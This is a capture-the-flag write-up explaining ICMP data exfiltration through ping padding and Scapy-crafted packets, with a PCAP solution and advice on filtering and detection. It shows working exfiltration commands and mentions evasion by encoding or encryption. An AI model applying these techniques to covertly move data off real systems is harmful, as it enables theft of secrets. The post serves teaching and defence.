Introduction
2 years after my VLAN Hopping article I finally found time (and motivation) to write a new post about data exfiltration through a very common underestimated network protocol! This year at Root-Me, we held Root-Xmas, our own advent calendar consisting of 24 challenges (1 per day :)
).
I was able to create a few challenges that kept some players busy. However I noticed that one particular challenge which I thought would be trivial when I created it ended up being slightly more complicated than expected and multiple people who flagged it had in the end not really understood much…
This challenge ‘Wrapped Gift’ was available in the Network category and consisted of detecting and decoding an ICMP Exfiltration made with the ping
tool.
At first we’ll go through a few reminders about what ICMP is and how it’s a very powerful network protocol, then we’ll dive into the resolution of my challenge. Finally, we will look at the mechanisms used to block/detect data exfiltration via this protocol.
If you’re only interested in the resolution of the challenge, you can directly jump to the resolution
ICMP
Reminders
📖 The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address (Wikipedia)
Often wrongly simplified as a ping
(which are actually ICMP echo requests and replies, ping is only the utility), the ICMP protocol (layer 3 on the OSI model, level 2 on the TCP/IP one) allows a very wide range of possibilities. It’s a powerful debugging tool for network engineers, system administrators and anyone wanting to understand why sometimes things aren’t working as expected.
⚠️ the ICMP protocol is only intended to work over the IPv4 stack, ICMPv6 is the protocol used with the IPv6 stack :).
ICMP carries ‘messages’ that will hand in information about a network’s state, availability or reachability. These messages can be sent from any host, whether it’s an ’end asset’ (computer, printer…) or a router. The different possible messages are reffered to as types and codes. Here is a non-exhaustive table of a few important/well-known types and codes:
Type | Code | Descripition |
---|---|---|
0 (Echo) | 0 | Echo reply |
3 (Destination unreachable) | 0 | Destination network unreachable |
3 (Destination unreachable) | 1 | Destination host unreachable |
3 (Destination unreachable) | 9 | Network administratively prohibited |
3 (Destination unreachable) | 10 | Host administratively prohibited |
8 (Echo) | 0 | Echo request |
11 (Time exceeded) | 0 | Time to live (TTL) expired in transit |
Even if you’re not very familiar with network protocols etc, you may have noticed that the ICMP protocol can come out to be very handy for debugging purposes but also very dangerous, allowing an attacker to enumerate networks that are administratively prohibited for example…
ICMP packet structure
Let’s take the most common of the ICMP packets you can encounter, echo replies and requests, and walk through their structure (we won’t analyse anything linked to the Ethernet/IP protocols). Typically, here is the structure of a packet making use of ICMP (using ping
on a Debian based system):
Now let’s dive straight into the ICMP details of an echo request:
We can see that the packet is made of:
- ICMP type
- ICMP code
- ICMP checksum
- identifier, a unique number used only during the current ICMP exchange
- sequence number, the n-th ICMP message of the exchange
- timestamp, the time at which the ICMP echo was initiated
- data/payload contained at the end of the packet
⚠️ The ICMP RFCs (RFC792, RFC4884) do not specify any data/payload length. Actually, the ICMP protocol is very permissive, lots of things are subject to constructor implementation which means that ICMP is also very useful for OS fingerpriting, see this paper for an introduction to ICMP fingerprinting.
According to RFC792, here is the structure of an echo reply/request:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identifier | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data ...
+-+-+-+-+-
We can notice a few differences with the packet we sent. As said, the implementations of the ICMP protocol is subject to ’local’ adaptations, which means that here, ping
uses part of the data to transmit a timestamp.
The data section
To craft a valid icmp request packet, you only need 5 things, a valid ICMP header:
- Type
- Code
- Checksum
- Identifier
- Sequence Number
To prove our point, here is a valid ICMP echo request/reply to my own server from my laptop:
We will notice that there’s no ICMP data in this request (use of the -s
flag to specify data size).
╰─λ ping bwlryq.net -c 1 -s 0
PING bwlryq.net (51.91.27.213) 0(28) bytes of data.
8 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51
--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
Here is an other example with data this time:
╰─λ ping bwlryq.net -c 1
PING bwlryq.net (51.91.27.213) 56(84) bytes of data.
64 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51 time=47.5 ms
--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 47.500/47.500/47.500/0.000 ms
But then, if an ICMP echo request/reply packet is valid, even without data, what’s its point? Why is it even useful to have this? Well remember, one of the main purposes of ICMP is to be a debugging tool, which is what creates its dangerosity. Having the ability to add ‘random’ data at the end of our ICMP message allows multiple things:
- Test that there’s no alteration of the packet between our host and the distant one
- Have a more ‘realistic’ size for packets
- Check and deal with Maximal Transmission Unit (MTU) which is the maximum allowed size of a packet before being fragmented.
Data exfiltration
As with its size, RFC792 does not specify what the content of the data transmitted must be in order to form a valid packet, which means that anything can be transmitted. According to the man from ping
, the -p
flag says that:
‘You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network. For example, -p ff will cause the sent packet to be filled with all ones.’
Let’s try something out by converting a simple message to hex (so that ping takes it
) using some bash magic:
user@laptop in ⌁
╰─λ echo -n "Hello readers" | od -A n -t x1 | tr -d ' '
48656c6c6f2072656164657273
╭─user@laptop in ⌁
╰─λ ping bwlryq.net -c 1 -p '48656c6c6f2072656164657273'
PATTERN: 0x48656c6c6f2072656164657273
PING bwlryq.net (51.91.27.213) 56(84) bytes of data.
64 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51 time=34.0 ms
--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 34.015/34.015/34.015/0.000 ms
Viewing our ICMP message in Wireshark, we can clearly see our Hello readers
got sent through the ICMP echo request (and in the reply, trust me):
Using this technique, it’s possible to send any kind of data (as long as it’s properly encoded) through ICMP requests, the longer the data to exfiltrate, the more ICMP requests you’ll need (data size is increasable of course, to stash more data in one single packet). Obviously, it’ll also be possible to automate the whole process using any programming/scripting language.
Removing padding to input more data
One ‘annoying’ thing with data exfiltration using ping
is that we are limited to 16 bytes per packet using the -p
flag, this soon enough arises as a very strong limitation. Once again, RFC792 doesn’t sate anything about the data being ‘cylic’ and repetitive, it’s just the way ping
was implemented.
Let’s get rid of this 16 bytes limit! If you’ve once tried manipulating network packets, you certainly know about Scapy (if not, ask your favourite search engine or any GPT). Using Scapy we’re going to be able to craft our own ICMP echo request and send over any data:
from scapy.all import ICMP, IP, sr
from pwn import cyclic
sr(IP(dst='bwlryq.net')/ICMP(type=8, code=0, id=0x1337, seq=1)/cyclic(56))
# if you don't manually set id and seq, Scapy will set them at 0 and remote hosts will have an invalid checksum when replying
# 56 bytes because 48 bytes of Data + timestamp to replicate the ping command
'''Output:
Begin emission
...
Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
'''
Checking the results in our favourite network analysers:
We can confirm that the data was properly sent without any repetition. In the end, by staying within the ‘limits’ of a standard ICMP message (data size varies slightly based on the OS), without too much effort, we have multiplied our sending capacity by 3.5 (still not much, but better than anything).
Wrapped Gift challenge
Statement
Now let’s take a glance at what was made to tickle players. This challenge I built was Day 2
of Root-Me’s 2024 advent calendar.
Name | Description | Difficulty | Author | Number of solves |
---|---|---|---|---|
WrappedGift | According to our information, one of our auditors’ workstations has been compromised, and some even claim that data has been exfiltrated. Here’s a network capture from the suspected workstation. Can you confirm the diagnosis made by our experts? | Easy | Mika | 292 |
PCAP analysis
According to the statement, data has been exfiltrated from someone’s computer. The first thing to do when we’re provided with a rather large PCAP file (16k packets here) is to try and get a first idea of what it contains.
The Protocol Hierarchy
under the Statistics
menu is often a good starting point:
The first thing we can notice is that we have very few protocols:
- DNS
- ICMP
- HTTP
- TLS (which isn’t really a protocol in itself)
- QUIC
QUIC and TLS being encrypted, unless we’re hinted that there’s a way for us to decrypt them, we can put them aside at first. The following Wireshark filter: (dns || http || data || icmp)
allows us to go down to 486 packets which is way more readable.
Further analysis of DNS queries shows nothing indicating that there is any data that has been exfiltrated through DNS Exfiltration.
Removing DNS from our filter, the next protocol largely present is ICMP. Going through the packets we can see that at each message to a certain server (212.129.38.224
), the data sent is different which isn’t common (even if the length is the same):
And it goes on and on for all the requests…
Data extraction
The data seems to be sent in the hex format, if we try decoding it (as from where it’s hex, so 45 72 72...
):
╭─user@laptop in ⌁
╰─λ echo -n "34353732373236663732336132303730343537323732366637323361323037303435373237323666" | xxd -r -p
4572726f723a20704572726f723a20704572726f
╭─user@laptop in ⌁
╰─λ echo -n "4572726f723a20704572726f723a20704572726f" | xxd -r -p
Error: pError: pErro
We indeed get some nice piece of data, just need to apply it to the whole capture. We can build the following one-liner:
╰─λ tshark -r ./chall.pcapng -Y 'icmp && ip.dst == 212.129.38.224' -T fields -e data | cut -c 17-48 | xxd -r -p | tr -d '\0' | xxd -r -p
Error: ping: invalid argument: 'www.root-me.org'
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2024.3"
VERSION="2024.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"
Hey you found me! Well done!RM{M3rry_Chr1stM4s_R00T-M3}
🔎 We cut the 8 first bytes at the start of the data and only get the 32 first characters (16 bytes) because the rest is padding that we don’t need :).
We seem to have three different things in this output, a ping that ended up in an error because the command was wrong, the content of the /etc/os-release
file, and finally, our flag!
Counter measures and mitigations
As we’ve seen, ICMP is some kind of a thing that allows to do more than simple tests to see if a host is reachable somewhere on the network (or Internet). Which is why we’ll now look through different ways of reducing the possibility of your data being exfiltrated through this method.
Filtering
The first option (and the most effective) is to simply administratively block ICMP requests on your networks (using firewalls). There is no reason why end-users or assets (servers, printers…) would need to make use of such a protocol (outside of supervision).
Simply drop ICMP originating from anything that is not a supervision server and disallow any ICMP to go out on the Internet (or restrict to a limited number of trusted hosts). Now if as a network administrator you need to use ICMP, just allow it for the time of use for the right hosts, no any any
rules, right? :).
Detection
Now, it’s easy to tell people to simply drop a protocol, in practice it’s not that simple. I’ve witnessed a lot of company networks still allowing ICMP (for many good and bad reasons), which is why one solution is to monitor the network using monitoring solutions, look for:
- abnormally long ICMP data length
- ICMP packets to untrusted hosts
- high entropy for the ICMP data
Conclusion
Make the data less visible through packet analysis
One would say that in the above examples, the data exfiltration is easily spottable by just seeking through a Wireshark capture and they would be totally right.
The purpose of my challenge is not to make some Threat Actor like exfiltration (not that they actually use this technique) but rather have people participating in our event to learn new things. If we really wanted to hide the data, we could easily use (for example):
- base64 encoding
- zlib compression
- encryption
It would even be possible to chain all the above together and making an analyst’s work way harder.
Detection by security solutions
I haven’t been able to put my hands on some enterprise ready anti-virus, EDR, IPS, IDS solutions to test whether ICMP exfiltration was blocked or not, what is sure is that typical AV’s like Defender (even with azure cloud options (blablabla) toggled on) do not detect anything. If ever some of you readers have more reliable data, I will gladly give you credit (if asked) and update this section :).
Solution | Type | Detects ICMP exfil |
---|---|---|
Windows Defender | AV | No |
Netskope | IDS | Yes |
Personnal thoughts
Even if ICMP exfiltration isn’t very common (due to many limitations) it can still come in use more than once, you don’t need many requests to exfiltrate a private key for example (quick win). If ever you think there are some precisions/fixes that should be applied to this post hit me up on socials, Twitter or on Discord: @mvka
.
You made it this far! First of all thanks for your precious time and reading this article. Don’t hesitate to share it on socials if you enjoyed it. Kudos to all the amazing guys from Root-Me community and staff who made this event possible by providing challenges and their time <3
.
See you in a year or two!